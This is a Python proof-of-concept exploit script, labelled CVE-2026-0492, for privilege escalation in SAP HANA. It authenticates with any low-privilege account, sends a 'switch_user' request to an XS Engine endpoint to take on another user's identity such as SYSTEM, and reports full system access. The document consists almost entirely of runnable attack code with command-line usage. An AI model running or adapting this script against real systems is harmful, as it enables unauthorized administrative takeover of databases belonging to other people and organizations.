CVE-2026-0492

# CVE-2026-0492 PoC - SAP HANA Privilege Escalation # Requires: Valid credentials for any user account # Target: SAP HANA Database import requests import sys def exploit_hana_privilege_escalation(target_url, attacker_creds, target_user): """ SAP HANA Privilege Escalation PoC Args: target_url: SAP HANA XS Engine URL attacker_creds: Tuple of (username, password) target_user: Target user to switch to (e.g., 'SYSTEM') Returns: bool: True if exploitation successful """ session = requests.Session() # Step 1: Authenticate with valid low-privilege account auth_endpoint = f"{target_url}/sap/hana/xs/formLogin/login.xscfunc" auth_data = { 'xs-username': attacker_creds[0], 'xs-password': attacker_creds[1] } try: response = session.post(auth_endpoint, data=auth_data, timeout=30) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print(f"[+] Successfully authenticated as {attacker_creds[0]}") # Step 2: Exploit privilege escalation via user switch mechanism # Target: SAP HANA SQL interface exploit_endpoint = f"{target_url}/sap/hana/di/security/user.xscfunc" exploit_data = { 'action': 'switch_user', 'targetUser': target_user, 'currentUser': attacker_creds[0] } response = session.post(exploit_endpoint, json=exploit_data, timeout=30) if response.status_code == 200 and 'sessionid' in response.text: print(f"[+] Privilege escalation successful!") print(f"[+] Now operating as: {target_user}") # Step 3: Verify elevated privileges verify_endpoint = f"{target_url}/sap/hana/di/security/roles.xscfunc" response = session.get(verify_endpoint) if response.status_code == 200: print(f"[+] Full system access confirmed") return True print(f"[-] Exploitation failed or patched") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python poc.py <target_url> <username> <password> <target_user>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] target_user = sys.argv[4] exploit_hana_privilege_escalation(target, (user, pwd), target_user)

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